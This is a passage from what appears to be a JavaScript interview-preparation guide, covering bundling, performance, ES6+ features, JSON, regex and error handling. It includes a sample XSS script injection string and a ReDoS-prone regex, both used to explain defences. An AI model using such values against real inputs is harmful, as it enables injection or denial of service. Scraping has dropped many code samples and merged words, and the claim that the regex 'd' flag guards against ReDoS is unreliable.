#field) compare to WeakMap for encapsulation?” —#fieldis true privacy enforced by the engine — accessingobj.#fieldfrom outside the class is a SyntaxError. WeakMap-based privacy relies on the WeakMap being inaccessible (it can be accessed if someone gets a reference to it).#fieldis simpler and faster. WeakMap is needed for: pre-class syntax code, dynamic private data, and cross-class private sharing (two classes sharing private data via a shared WeakMap).
50. WebAssembly (Wasm)
50. WebAssembly (Wasm)
.wasm binary format by a compiler (Emscripten for C/C++, wasm-pack for Rust). The browser’s Wasm runtime executes the binary with predictable performance (no GC pauses, no JIT warmup).- Figma — Real-time collaborative design tool. C++ rendering engine compiled to Wasm. 3x faster than equivalent JS.
- Google Earth — 3D globe rendering in the browser via Wasm.
- Photoshop Web — Image processing algorithms in C++ running as Wasm.
- SQLite in the browser — The actual C codebase compiled to Wasm (
sql.js). - Crypto libraries —
libsodium.jsuses Wasm for constant-time crypto operations.
- Use Wasm for: CPU-bound computation (image/video processing, physics, crypto), porting existing C++/Rust code, predictable performance (no GC jitter)
- Use JS for: DOM manipulation (Wasm cannot access DOM directly), I/O-bound work (fetch, timers), UI logic, anything where developer productivity matters more than raw speed
- The crossover: for computational tasks under ~10ms, the overhead of calling into Wasm and transferring data back negates the speed advantage
- “How does data transfer between JS and Wasm work?” — Through shared
WebAssembly.Memory(a resizable ArrayBuffer). JS writes data to the memory buffer, Wasm reads it directly (and vice versa). For complex objects, you serialize to a flat format. Strings require encoding to UTF-8 bytes in the memory buffer. This serialization overhead is why frequent small Wasm calls are slower than one large batch call. - “What is WASI and why does it matter?” — WebAssembly System Interface (WASI) provides a standardized set of system-level APIs (file access, networking, clock) for Wasm modules running outside browsers (servers, edge computing, IoT). It enables Wasm as a universal runtime — write once, run anywhere with sandboxed security. Cloudflare Workers and Fastly Compute use Wasm+WASI for edge functions.
- “What is AssemblyScript and when would you use it over Rust/C++ for Wasm?” — AssemblyScript is a TypeScript-like language that compiles to Wasm. It has a lower learning curve for JS developers (familiar syntax) and produces smaller Wasm binaries than C++/Rust for simple cases. Use it for: performance-critical utility functions where you do not want to set up a full C++/Rust toolchain. Use Rust/C++ for: complex systems, existing codebases, or when you need maximum performance.
51. Tree Shaking
51. Tree Shaking
import _ from 'lodash' (imports everything, ~70KB) to import { debounce } from 'lodash-es' (imports only debounce, ~1KB) dramatically reduces bundle size.How it works:- Bundler (Webpack, Rollup, esbuild) builds a dependency graph from your
import/exportstatements - Starting from entry points, it traces which exports are actually imported and used
- Unused exports are marked as “dead code”
- During minification (Terser, esbuild), dead code is removed from the final bundle
import/export are static declarations (must be top-level, cannot be conditional). CommonJS require() is dynamic (can be in if blocks, computed paths), making it impossible to statically determine what is used.What prevents tree shaking (common pitfalls):- Use
webpack-bundle-analyzerorsource-map-explorerto visualize what is in your bundle - Search for known unused exports in the production bundle
- Check that your dependency’s
package.jsonhas"sideEffects": falseor"module"field pointing to ESM build
sideEffects field and barrel file problems.Red flag answer: “Tree shaking removes all unused code automatically.” It only removes unused exports. Side effects, barrel files that re-export everything, and CommonJS modules can all prevent effective tree shaking.Follow-up questions:- “What is the barrel file problem?” — A barrel file (
index.js) re-exports everything from a directory:export * from './Button'; export * from './Modal'; export * from './Table'. If youimport { Button } from './components', some bundlers pull in ALL re-exported modules (because evaluatingexport *may have side effects). Fix: import directly from the source file, or ensure the package has"sideEffects": false. - “How does
/*#__PURE__*/annotation help tree shaking?” — This comment tells the bundler that a function call has no side effects and can be safely removed if the result is unused. Class declarations and HOC wrappings often need this:const MyComponent = /*#__PURE__*/ React.memo(Component). Without it, the bundler assumesReact.memo()might have side effects and keeps it. - “What is the difference between tree shaking in Webpack, Rollup, and esbuild?” — Rollup was designed for tree shaking from the ground up and produces the smallest bundles. Webpack added tree shaking later and requires more configuration (
sideEffects, production mode). esbuild is the fastest but less aggressive with tree shaking than Rollup. For library authors, Rollup is still the gold standard for producing tree-shakeable ESM outputs.
- “Tree shaking removes all unused code automatically.” It only removes unused exports. Side effects, barrel files, and CJS modules all break it.
- Cannot explain why ESM enables tree shaking but CJS does not.
- Have never checked their bundle with
webpack-bundle-analyzerorsource-map-explorer.
- Explain that tree shaking requires static analysis of
import/exportdeclarations, which is impossible with CJS’s dynamicrequire(). - Know the
"sideEffects": falsefield inpackage.jsonand why it matters. - Can identify barrel file problems and explain how
export *can defeat tree shaking. - Mention
/*#__PURE__*/annotations for marking function calls as side-effect-free. - Have actually audited a production bundle, found unexpected inclusions, and fixed them (e.g., switching from default imports to named imports, eliminating barrel files, or swapping a CJS dependency for its ESM equivalent).
- “Your bundle analyzer shows lodash is 70KB in your bundle even though you only use
debounce. What went wrong and how do you fix it?” — You are importing fromlodash(CJS, default export) instead oflodash-es(ESM, named exports).import { debounce } from 'lodash'still imports the entire CJS bundle because Webpack cannot tree-shake CJS. Fix:import { debounce } from 'lodash-es'orimport debounce from 'lodash/debounce'(cherry-pick). Verify with bundle analyzer that only the debounce module appears. - “How does the
"exports"field inpackage.jsonrelate to tree shaking?” — The"exports"field (package entry points) lets library authors define separate entry points for CJS and ESM consumers."exports": { ".": { "import": "./esm/index.js", "require": "./cjs/index.js" } }ensures that ESM-aware bundlers get the tree-shakeable ESM build. Without it, bundlers may resolve to the CJS entry, defeating tree shaking. - “What is scope hoisting (module concatenation) and how does it improve tree shaking?” — Instead of wrapping each module in a separate function scope (the default), scope hoisting inlines modules into a single scope. This eliminates the function-call overhead AND makes it easier for the minifier to see and remove dead code. Rollup does this by default. Webpack enables it with
optimization.concatenateModules: true(on by default in production mode).
52. Lazy Loading (Dynamic Import)
52. Lazy Loading (Dynamic Import)
import() lets you load JavaScript modules on demand at runtime, splitting your application into smaller chunks that load only when needed. This directly reduces Time to Interactive (TTI) by minimizing the initial bundle size.- “How do you decide what to lazy load?” — Use bundle analyzer (
webpack-bundle-analyzer) to find the largest modules. Start with route-level splitting. Then look for heavy third-party dependencies used in specific features (date pickers, rich text editors, chart libraries). Anything above ~50KB gzipped that is not needed on initial render is a candidate. - “What happens if a lazy-loaded chunk fails to download?” — The
import()promise rejects. In React, theSuspenseboundary’s error boundary catches it. You should wrap lazy components with anErrorBoundarythat shows a retry button. Implement retry logic:const retryImport = (fn, retries = 3) => fn().catch(err => retries > 0 ? retryImport(fn, retries - 1) : Promise.reject(err)). - “How does lazy loading interact with SSR?” — On the server,
React.lazyand dynamicimport()need special handling because they are async. Libraries like@loadable/componentsupport SSR by collecting which chunks are needed during server rendering and including<script>tags for them in the HTML. Without this, the client re-downloads and re-renders lazy components, causing a flash.
53. Preload, Prefetch, Preconnect & Priority Hints
53. Preload, Prefetch, Preconnect & Priority Hints
| Hint | Priority | When to use | Example |
|---|---|---|---|
preload | High — load NOW | Current page critical resources | Hero image, main font, above-the-fold CSS |
prefetch | Low — load when idle | Next page resources | JS for likely next navigation |
preconnect | Medium — DNS + TCP + TLS | Third-party origins you’ll request from | API server, CDN, analytics |
dns-prefetch | Low — DNS only | Third-party domains (fallback for preconnect) | Less critical external domains |
fetchpriority | Varies | Override default priority of a resource | <img fetchpriority="high"> for LCP image |
- Preloading too many resources — The browser has limited bandwidth. Preloading 20 resources makes them compete and slows everything down. Preload only 2-3 truly critical resources.
- Preloading without using — If you preload a resource and do not use it within 3 seconds, Chrome shows a console warning and the bandwidth was wasted.
- Using prefetch for current-page resources — Prefetch is for FUTURE navigations. For current-page resources, use preload.
fetchpriority and the risk of over-preloading.Red flag answer: “Just preload everything important.” Preloading too many resources is counterproductive — it creates network contention.Follow-up questions:- “How do you identify which resources to preload for optimal LCP?” — Run Lighthouse or WebPageTest. The LCP (Largest Contentful Paint) element is usually a hero image or heading with a web font. Preload the LCP image’s URL and the font file. For CSS-discovered images (background images), preload is essential because the browser cannot discover them until CSS is parsed. Each preload can save 100-300ms of discovery time.
- “What is the difference between
preloadandmodulepreload?” —preloadfetches a resource but does not execute it.modulepreloadfetches an ES module AND parses it, resolving its dependency graph eagerly. Usemodulepreloadfor JavaScript modules to avoid the waterfall: without it, module A downloads, then itsimportof module B triggers another download, etc. - “How do 103 Early Hints relate to preload?” — HTTP 103 Early Hints sends preload/preconnect headers BEFORE the main response (while the server is still generating it). The browser starts fetching resources during the server’s think time. This can save 200-500ms on server-rendered pages. Supported by Cloudflare, CDNs, and modern browsers.
54. Virtualization (Windowing)
54. Virtualization (Windowing)
- Calculate which items are in the viewport based on scroll position and item heights
- Render ONLY those items (plus a small overscan buffer above and below)
- Use a tall spacer element to maintain correct scrollbar size
- On scroll, recalculate visible range and update rendered items
@tanstack/react-virtual(TanStack Virtual) — Framework-agnostic, supports variable heights, grid layouts. The modern choice.react-window— Brian Vaughn (React core team). Lightweight, fixed and variable height lists.react-virtuoso— Automatic height measurement, grouped lists, reverse scroll (chat).@angular/cdk/scrolling— Angular’s built-in virtual scrolling.
- “How does virtualization handle variable-height items?” — You cannot calculate positions without knowing heights. Two approaches: (1) Estimate heights, render items, measure actual heights after render (using
ResizeObserver), cache measured heights, and recalculate positions. This causes layout shifts. (2) Force all items to fixed height (simpler but restrictive). TanStack Virtual and react-virtuoso handle dynamic measurement well. - “What accessibility challenges does virtual scrolling introduce?” — Screen readers expect all content to be in the DOM. With virtualization, only visible items exist. Solutions: set
aria-rowcounton the container andaria-rowindexon each item. Userole="grid"orrole="listbox". Ensure keyboard navigation works (arrow keys move focus AND scroll). Some screen reader users may need a “load all” option for content that should be searchable. - “When is virtualization NOT the right approach?” — When the list is under ~200 items (DOM can handle it). When items have complex interactive state that is lost on unmount (forms with unsaved input). When SEO matters (search engines cannot scroll virtual lists). When accessibility is paramount and the team cannot invest in proper ARIA support.
55. Deep Clone Performance
55. Deep Clone Performance
| Method | Speed | Handles | Misses |
|---|---|---|---|
JSON.parse(JSON.stringify()) | Medium | Plain objects, arrays, strings, numbers, booleans, null | undefined, Date (becomes string), RegExp, Map, Set, functions, Infinity, NaN (becomes null), circular refs (throws) |
structuredClone() | Fast | All of above + Date, RegExp, Map, Set, ArrayBuffer, Blob, circular refs, Error objects | Functions, DOM nodes, Symbol properties, prototype chain |
| Manual recursive | Slowest | Whatever you implement | Whatever you forget |
- Shallow copy (
{ ...obj },Object.assign) — When nested objects will not be modified. React state updates where you only change top-level properties. structuredClone— The default choice for deep cloning in modern code. Handles edge cases correctly.- JSON round-trip — Legacy code, or when you specifically want to strip non-serializable values (functions, undefined). Also useful for serialization-deserialization validation.
- Immer’s
produce— When you want to create a modified copy with structural sharing (not a full clone).
JSON.parse(JSON.stringify()) loses? Do you know structuredClone exists? Senior candidates should discuss when deep cloning is actually needed vs structural sharing.Red flag answer: “I always use JSON.parse(JSON.stringify()) for deep clone.” This silently corrupts Date, undefined, NaN, Map, Set, and throws on circular references. It is a common source of production bugs.Follow-up questions:- “Your team is deep cloning a 50MB state object on every Redux action. How do you fix the performance?” — Do not deep clone. Use Immer, which uses Proxy-based copy-on-write. Only the mutated paths get new objects; unchanged subtrees share the same references (structural sharing). Or refactor the state to be flatter (normalize with
normalizr) so updates only affect small slices. - “How does
structuredClonehandle circular references?” — It tracks visited objects during cloning. If it encounters the same object again, it reuses the already-cloned copy.const a = {}; a.self = a; structuredClone(a)works correctly — the clone’s.selfpoints to the clone, not the original. JSON.stringify throwsTypeError: Converting circular structure to JSON. - “What is the structured clone algorithm used for besides
structuredClone()?” —postMessage(Web Workers, iframes),IndexedDBstorage,history.pushState,Notificationconstructor, andMessagePort. Any time data crosses a boundary in the browser, the structured clone algorithm is used. Understanding its limitations (no functions, no DOM) explains why Web Workers cannot receive function references.
8. Miscellaneous
56. `requestAnimationFrame` (rAF)
56. `requestAnimationFrame` (rAF)
requestAnimationFrame schedules a callback to run right before the browser’s next repaint, synchronized with the display’s refresh rate (typically 60fps = every 16.6ms). It is the correct way to perform visual updates, animations, and any DOM mutation that should sync with rendering.Why rAF is better than setTimeout/setInterval for animations:- Sync with display — rAF fires exactly once per frame, at the optimal time for the browser’s paint cycle.
setTimeout(fn, 16)has no such guarantee — it might fire between frames (wasted work) or during a frame’s paint (jank). - Automatic throttling — In background tabs, rAF is paused (saving CPU/battery).
setIntervalkeeps firing, wasting resources. - No jank from drift —
setInterval(fn, 16)drifts over time (timer resolution, event loop delays). rAF fires when the browser is actually ready to paint. - Battery-friendly — On high-refresh displays (120Hz), rAF automatically adjusts to the native refresh rate.
setTimeout for animations and know about requestIdleCallback for non-visual background work.Red flag answer: “I use setInterval(fn, 16) for 60fps animations.” This does not account for the time your function takes to execute, leading to cumulative drift and jank.Follow-up questions:- “What is
requestIdleCallbackand how does it differ from rAF?” —requestIdleCallbackruns during idle periods when the browser has no other work to do. rAF runs once per frame before paint (time-critical). Use rAF for visual updates and rIC for non-urgent background work (analytics, prefetching, non-critical DOM updates). rIC gives you adeadlineobject telling you how much idle time is left. - “How do you implement a frame-rate-independent animation?” — Use the
timestampparameter:const deltaTime = timestamp - lastTimestamp. Move objects byspeed * deltaTimeinstead of a fixed amount per frame. This way, the animation looks the same at 30fps, 60fps, or 120fps — it just looks smoother at higher refresh rates. - “What happens if your rAF callback takes more than 16ms?” — The frame is dropped. The browser will not paint until your callback returns, so the user sees a stutter. If it consistently takes >16ms, reduce the work (use Web Workers for computation, simplify the render). Chrome DevTools Performance panel flags “long frames” for this.
57. `Intl` API (Internationalization)
57. `Intl` API (Internationalization)
Intl API provides language-sensitive string comparison, number formatting, date/time formatting, and more — all built into the browser with no library required. It replaces the need for Moment.js, date-fns (for formatting), and numeral.js for most common cases.Intl.DateTimeFormat is 0KB (built-in), locale data is in the browser, and it handles time zones correctly. For manipulation (add days, subtract months), use date-fns or Temporal (upcoming TC39 proposal).What interviewers are really testing: Do you know that native Intl APIs exist and can replace common library dependencies? Can you format numbers, dates, and currencies for different locales?Red flag answer: “I use toLocaleString() for everything.” toLocaleString works but is less configurable. Intl APIs give you formatter objects that you can reuse (better performance for formatting many values).Follow-up questions:- “How do you handle time zones correctly in JavaScript?” — Use
Intl.DateTimeFormatwith{ timeZone: 'America/New_York' }for display. Store all dates in UTC (ISO 8601 strings or timestamps). Never do time zone math manually — use a library orIntl. The upcomingTemporalAPI will provide proper time zone support at the language level. - “What is the performance benefit of reusing an
Intl.NumberFormatinstance?” — Creating a formatter is expensive (~10-50x slower than formatting). Create it once and reuse:const fmt = new Intl.NumberFormat('en-US', { style: 'currency', currency: 'USD' }); items.map(i => fmt.format(i.price)). This is critical in hot rendering paths (table cells, chart labels). - “What is
Intl.Segmenterand when would you use it?” —Intl.Segmenterbreaks strings into graphemes, words, or sentences according to locale-specific rules. Essential for: counting characters in non-Latin scripts (emoji, CJK), implementing text editors that handle multi-codepoint characters correctly, and word-breaking for search indexing.'👨👩👧👦'.lengthis 11 in JS, but[...new Intl.Segmenter().segment('👨👩👧👦')].lengthis 1.
58. `Object.seal` vs `Object.freeze` vs `Object.preventExtensions`
58. `Object.seal` vs `Object.freeze` vs `Object.preventExtensions`
| Operation | preventExtensions | seal | freeze |
|---|---|---|---|
| Add new properties | No | No | No |
| Delete properties | Yes | No | No |
| Modify existing values | Yes | Yes | No |
| Reconfigure properties | Yes | No | No |
Object.freeze only freezes the top level. Nested objects are still mutable. This surprises almost everyone the first time.freeze— Configuration objects, enum-like constants, Redux initial state (catches mutation bugs in development)seal— Objects where the shape should be fixed but values need updating (prevents typos likeobj.naem = 'Alice'instead ofobj.name)preventExtensions— Rarely used directly. Some frameworks use it internally.
- “Does Object.freeze affect V8 performance?” — Frozen objects get a special internal marker in V8 that tells the engine the object’s shape will never change. This can actually IMPROVE property access performance because V8 can make stronger optimization assumptions. However, freeze itself has a cost (~2x slower than Object.create for initial creation) and should not be called in hot loops.
- “How do you detect if someone tries to mutate a frozen object?” — In strict mode, mutations throw
TypeError. In sloppy mode, they silently fail. Always use strict mode (or ES modules, which are strict by default) to catch these errors. For development, you can also useProxywith asettrap that logs mutation attempts.
59. Layout Thrashing
59. Layout Thrashing
offsetWidth,offsetHeight,offsetTop,offsetLeftclientWidth,clientHeight,clientTop,clientLeftscrollWidth,scrollHeight,scrollTop,scrollLeftgetBoundingClientRect()getComputedStyle()innerText(requires layout to determine text layout)
fastdom pattern (or DIY equivalent):- “How do you detect layout thrashing in production?” — Chrome DevTools Performance panel. Record an interaction, look for purple “Layout” bars in the flame chart. If you see many short layout events in rapid succession, that is thrashing. The “Layout Shift” entries show which element triggered the reflow. Also:
PerformanceObserverwithentryType: 'layout-shift'for programmatic monitoring. - “How does React avoid layout thrashing?” — React batches all state updates and DOM mutations into a single synchronous commit phase (after reconciliation). Reads happen during render (before commit), writes happen during commit. This naturally separates reads from writes. However,
useLayoutEffectruns synchronously after DOM mutation but before paint, and reading DOM inside it can cause forced reflow if followed by more writes. - “What CSS properties are “safe” because they only trigger composite, not layout?” —
transformandopacityonly trigger the composite step (GPU-accelerated, no layout or paint).will-change: transformpromotes an element to its own compositor layer. Use these for animations instead ofwidth,height,top,leftwhich all trigger layout.
60. Tail Call Optimization (TCO)
60. Tail Call Optimization (TCO)
- “What is the maximum call stack depth in V8/Chrome?” — Approximately 10,000-25,000 frames depending on frame size (how many local variables each function has). You can test it:
function depth(n) { return depth(n+1); } try { depth(0); } catch(e) { console.log(e.message); }. For recursive algorithms that might exceed this, convert to iteration or use a trampoline. - “When should you use recursion vs iteration in JavaScript?” — Use recursion for tree/graph traversal, divide-and-conquer algorithms, and problems with natural recursive structure (Fibonacci, factorial, file system walking). Use iteration for anything that could recurse deeper than ~5000 levels, performance-critical hot paths (iteration avoids function call overhead), and anywhere stack overflow is a risk. In practice, most recursive algorithms in JS should have an iterative fallback for production use.
- “What is the trampoline pattern and why does it work?” — Instead of making a recursive call (which adds a stack frame), the function returns a thunk (a zero-argument function that would make the call). The trampoline loop calls the thunk iteratively, so the stack never grows beyond 2 frames. It trades stack space for heap space (each thunk is a closure allocation) but closures are cheap compared to stack overflow crashes.
9. ES6+ Features (Medium Level)
61. Spread Operator vs Rest Parameters
61. Spread Operator vs Rest Parameters
... syntax does two opposite things depending on context — this confuses beginners but is intuitive once you see the pattern. Spread expands collections into individual elements. Rest collects individual elements into a collection.const [first, ...rest, last] is a SyntaxError). Object spread preserves insertion order and last-write-wins for duplicate keys.Production gotcha — spread in Redux/React state updates:{...obj} is a deep clone. It is shallow — nested objects are shared references. Also: using spread to copy arrays in hot loops ([...largeArr] allocates a new array every time) without considering the GC pressure.Follow-up questions:- “What is the performance of spread vs
Object.assignvs manual loop?” — For small objects (<20 keys), spread andObject.assignare equivalent (~200ns). For large objects (1000+ keys),Object.assigncan be 10-20% faster because spread creates intermediate objects. For arrays,[...arr]is slightly faster thanarr.slice()in modern engines. In a real benchmark on a 100K-element array,[...arr]takes ~0.4ms,arr.slice()~0.35ms, andArray.from(arr)~0.5ms. The difference is negligible — pick for readability. - “Can you spread a string? A Map? A generator?” — Yes to all. Spread works on any iterable (anything with
Symbol.iterator).[...'hello']gives['h','e','l','l','o'].[...myMap]gives[[key, value], ...].[...generatorFn()]consumes the generator. Object spread ({...obj}) is different — it uses own enumerable string-keyed properties, not the iterable protocol. - “What happens when you spread
nullorundefinedin different contexts?” — Object spread:{...null}and{...undefined}produce{}(no error). Array spread:[...null]throwsTypeError: null is not iterable. This asymmetry trips people up. Object spread silently ignores non-object values (numbers, booleans, strings spread to empty for objects unless it is a string). Array spread requires an iterable.
62. Array Methods: map, filter, reduce, flatMap
62. Array Methods: map, filter, reduce, flatMap
reduce controversy: reduce can implement any array transformation (map, filter, groupBy, etc.), but that does not mean it should. Overusing reduce makes code hard to read. Use map for transformation, filter for selection, and reserve reduce for true accumulation (sums, grouping, building objects).Performance note: Chaining .filter().map() iterates the array twice. For large arrays (100K+ items), a single reduce that filters and maps in one pass is 2x faster. For most cases, readability wins.Production war story: At a data analytics company, we had a dashboard rendering 500K rows through a .filter().map().sort() chain. Each chain step created a new intermediate array. Memory usage spiked to 2GB and Chrome crashed on lower-end devices. The fix was a single-pass reduce that filtered, transformed, and inserted into a pre-sorted structure in one iteration — reduced memory from 2GB to 300MB and cut processing time from 4.2s to 800ms.What interviewers are really testing: Can you choose the right method? Can you implement reduce for a non-trivial accumulation? Senior candidates should discuss when chaining is wasteful, mention Object.groupBy (ES2024), and know the memory implications of intermediate arrays for large datasets.Red flag answer: Using forEach with a push instead of map, or using reduce where map + filter would be clearer. Also: not knowing that .filter().map() creates TWO intermediate arrays — for small data this is fine, for 100K+ items it matters.Follow-up questions:- “Implement
mapusingreduce.” —const map = (arr, fn) => arr.reduce((acc, val, i) => { acc.push(fn(val, i, arr)); return acc; }, []). Note: using[...acc, fn(val)]is O(n^2) because it copies the accumulator on every iteration. Thepushversion is O(n). This is a classic trap in reduce implementations — in a code review I once flagged a reduce with spread that turned an O(n) operation into O(n^2), causing a 50x slowdown on 10K items. - “What is
Object.groupByand how does it replace a commonreducepattern?” —Object.groupBy(users, u => u.age >= 18 ? 'adult' : 'minor')returns{ adult: [...], minor: [...] }. This replaces the commonreduceaccumulator pattern for grouping, which was verbose and error-prone. There is alsoMap.groupBy()for when you need non-string keys. Both are available in all modern browsers and Node.js 21+. - “What is the difference between
flatMapandmap+flat?” —flatMapis equivalent tomap().flat(1)but more efficient (single pass, no intermediate array).flatMaponly flattens one level. If you need deeper flattening, usemap().flat(depth)orflat(Infinity). Real use case:sentences.flatMap(s => s.split(' '))tokenizes an array of sentences into words in one step. - “When should you use
forloop instead of array methods?” — When you need tobreakearly (array methods always iterate the full array), when you needawaitinside the loop (.forEachdoes not support it), or when you are processing 1M+ items and the 10-20% overhead of iterator creation matters.for...ofis the modern compromise — it supportsbreak/continue/awaitand is nearly as fast as a classicforloop.
63. Object Destructuring with Defaults & Advanced Patterns
63. Object Destructuring with Defaults & Advanced Patterns
[a, b] = [b, a] — no temp variable needed.Production pattern — API response handling:= {} pattern for optional function parameters? Senior candidates should demonstrate real API response handling and know the null vs undefined trap with defaults.Red flag answer: Not knowing that const { a: { b } } = { a: undefined } throws TypeError. You need const { a: { b } = {} } = obj to handle missing intermediate objects. Also: not knowing that null does not trigger defaults — const { x = 5 } = { x: null } gives null, not 5.Follow-up questions:- “What happens with destructuring and
nullvsundefined?” — Default values only apply forundefined, NOT fornull.const { x = 5 } = { x: null }givesx = null, not 5. This catches people off guard. If you need to default both null and undefined, use nullish coalescing after destructuring:const { x } = obj; const safeX = x ?? 5. This is especially relevant when parsing API responses wherenullmeans “field exists but empty” vsundefinedmeaning “field not returned.” - “How does destructuring interact with iterables?” — Array destructuring works on any iterable:
const [a, b] = 'hi'givesa='h', b='i'.const [first, ...rest] = new Set([1,2,3])givesfirst=1, rest=[2,3]. This is because array destructuring usesSymbol.iteratorunder the hood. - “How do you destructure with dynamic/computed property names?” — Use bracket notation:
const key = 'name'; const { [key]: value } = user;. This is useful when the property name comes from a variable (e.g., form field names, config keys). Combined with rest:const { [dynamicKey]: extracted, ...remaining } = objlets you remove a dynamic key from an object immutably.
64. Template Literals (Advanced)
64. Template Literals (Advanced)
- “Are template literals faster or slower than string concatenation?” — In modern engines, performance is identical. V8 optimizes both to the same internal representation. Use template literals for readability, not performance.
- “What is the security risk of template literals in HTML generation?” — If
${userInput}contains<script>alert('xss')</script>, the template literal does NOT escape it. Template literals are just string interpolation — no auto-escaping. Use tagged templates (likehtmlfrom lit-html) or DOM APIs (textContent) for safe HTML generation.
65. Default Parameters (Advanced Patterns)
65. Default Parameters (Advanced Patterns)
required() pattern shows creative understanding.Follow-up questions:- “What is the TDZ issue with default parameters?” — Parameters are evaluated left-to-right.
function f(a = b, b = 1)throws ReferenceError becausebis in the TDZ whena’s default tries to use it.function f(a = 1, b = a)works fine becauseais already initialized. - “How do default parameters interact with
arguments?” — In strict mode,argumentsdoes not reflect default values.function f(x = 10) { console.log(arguments[0]); } f();logsundefined(arguments shows what was passed, not the default). This is another reason to avoidarguments.
66. Array.from() and Array.of()
66. Array.from() and Array.of()
Array.from() is one of the most versatile array creation methods — it converts any iterable or array-like object to a real array and optionally transforms elements in the same step.Array.from with a mapping function? This is a cleaner alternative to new Array(n).fill(0).map(...).Follow-up questions:- “What is the difference between
Array.from(nodeList)and[...nodeList]?” — Both convert to arrays.Array.fromworks with array-likes (objects withlengthbut noSymbol.iterator), spread only works with iterables.Array.fromalso accepts a mapping function. In practice, both work for DOM collections since NodeList is iterable in modern browsers. - “Why does
Array.from({length: 3})produce[undefined, undefined, undefined]whilenew Array(3)produces holes?” —Array.fromiterates from 0 to length-1, explicitly assigning each index.new Array(3)just sets the length property without creating slots. This is the same distinction as dense vs sparse arrays (see Question 45).
67. Object.assign() vs Spread Operator
67. Object.assign() vs Spread Operator
Object.assign() mutates the target, spread creates a new object.Object.assign over spread:- When you intentionally want to mutate the target (merging into existing object)
- When you need to copy to a specific prototype:
Object.assign(Object.create(proto), source) - Spread cannot copy getters/setters — it invokes them and copies the returned value.
Object.assignalso invokes getters, butObject.definePropertiespreserves them.
- “How do you merge objects with nested properties deeply?” — There is no built-in deep merge. Options: (1)
structuredClone+ manual merge, (2) lodash_.merge(), (3) recursive custom function. The choice depends on whether you need to handle arrays (replace vs concatenate), circular references, and special types (Date, RegExp). - “What happens with
Object.assignand inherited properties?” —Object.assignonly copies own enumerable string-keyed properties. Inherited properties (from prototype) are NOT copied. Symbol-keyed properties ARE copied (unlikefor...in). This is the same behavior as spread.
68. for...of vs for...in Loops
68. for...of vs for...in Loops
for...of iterates values (from iterables), for...in iterates enumerable string property keys (from any object, including inherited ones).for...of for arrays and iterables. Use for...in for plain objects when you explicitly want enumerable keys (or better, use Object.keys()/Object.entries()). Never use for...in on arrays.What interviewers are really testing: Do you know for...in includes inherited properties (the prototype pollution risk)? Do you know for...in gives string keys, not numbers?Follow-up questions:- “What is the performance difference between
for,for...of,forEach, andfor...inon arrays?” — Plainforloop is fastest (direct index access, no iterator overhead).for...ofis ~10-20% slower (creates an iterator object).forEachis similar tofor...ofbut cannotbreak/return.for...inis slowest on arrays (must enumerate all properties, check enumerability, convert keys to strings). For most code, readability matters more than the ~10% difference. - “How do you iterate over object key-value pairs with
for...of?” —for (const [key, value] of Object.entries(obj)). Plain objects are NOT iterable by default (noSymbol.iterator).Object.entries()returns an array of[key, value]pairs, which IS iterable.
69. Modern String Methods
69. Modern String Methods
includes replaces indexOf !== -1? Do you know replaceAll exists (vs regex with g flag)?Follow-up questions:- “How do you do case-insensitive
includes?” —str.toLowerCase().includes(search.toLowerCase()). There is no built-in option. For locale-aware comparison, usestr.localeCompare(search, undefined, { sensitivity: 'accent' }) === 0, but this compares entire strings, not substrings. For full locale-aware substring search, useIntl.Collatorwith a manual scan. - “What is the difference between
replaceAllandreplacewith a regex?” —replaceAllworks with plain strings (no regex needed) and throws if you pass a regex without thegflag (preventing a common bug).replacewith a string only replaces the first occurrence.
70. Number Validation Methods
70. Number Validation Methods
Number-static validation methods. The Number.* versions are stricter and safer.isNaN and Number.isNaN? This is a quick but important distinction.Follow-up questions:- “Why is
Number.isInteger(1.0)true?” — In IEEE 754,1.0and1have the same binary representation. There is no distinction between integer and float types in JavaScript — there is onlyNumber.isIntegerchecks if the value has no fractional part:value === Math.floor(value). - “How would you validate that a user input is a valid positive integer for an API parameter?” —
const n = Number(input); if (!Number.isSafeInteger(n) || n <= 0) throw new Error('invalid').isSafeIntegerchecks: is it a number, is it an integer, and is it within the safe range for precise arithmetic.
71. JSON Serialization Edge Cases
71. JSON Serialization Edge Cases
JSON.stringify and JSON.parse have several behaviors that cause production bugs if you do not know them. Understanding what survives serialization is critical for API communication, localStorage, and structured clone.Date becoming a string is a classic production bug. Also: knowing about toJSON, replacer, and reviver for custom serialization.Red flag answer: “I use JSON.parse(JSON.stringify(obj)) for deep cloning.” This drops functions, undefined, Dates, RegExps, Maps, Sets, and throws on BigInt and circular references. Use structuredClone instead.Follow-up questions:- “How do you handle circular references in JSON serialization?” —
JSON.stringifythrows. Use a replacer that tracks seen objects:const seen = new Set(); JSON.stringify(obj, (k, v) => { if (typeof v === 'object' && v !== null) { if (seen.has(v)) return '[Circular]'; seen.add(v); } return v; }). Or useflattednpm package.structuredClonehandles circular refs natively. - “What is
superjsonand when would you use it?” —superjsonpreserves types that JSON drops: Dates, RegExps, Maps, Sets, BigInts, undefined, Infinity, and NaN. It serializes alongside a “meta” object describing the types. Use it for: tRPC communication, Next.jsgetServerSideProps, and any context where you need full type fidelity across serialization boundaries.
72. Regular Expressions (Practical Patterns)
72. Regular Expressions (Practical Patterns)
/(a+)+$/.test('aaaaaaaaaaaaaaaaab') takes seconds because the regex engine tries 2^n combinations. Use re2 (Google’s regex library) for untrusted input, or use the d flag and validate with timeouts.What interviewers are really testing: Can you read and write regex? Do you know named groups and matchAll? Senior candidates should mention ReDoS.Follow-up questions:- “When should you NOT use regex?” — For HTML/XML parsing (use a parser), for complex string validation (use a schema library like Zod), for anything that needs to count nesting depth (regex cannot match balanced parentheses in general — it is not a context-free language). Also: simple operations like
includes,startsWith,endsWithare clearer and faster than equivalent regex. - “What is the
vflag (unicodeSets) in modern regex?” — The/vflag (ES2024) enables set operations in character classes:[A-Z&&[^QZ]](A-Z excluding Q and Z),[\p{Script=Greek}--[αβγ]](Greek letters except alpha, beta, gamma). It replaces theuflag with better Unicode support and more powerful character class syntax.
73. Error Handling Patterns
73. Error Handling Patterns
finally guarantee: finally runs whether try succeeds or catch fires. Use it for cleanup (closing connections, clearing loading state). Important: finally runs even if there is a return in try or catch.What interviewers are really testing: Do you use custom error types? Do you handle async errors properly? Do you know about global error handlers?Red flag answer: catch (err) { console.log(err); } — swallowing errors silently is the #1 error handling anti-pattern.Follow-up questions:- “What is the
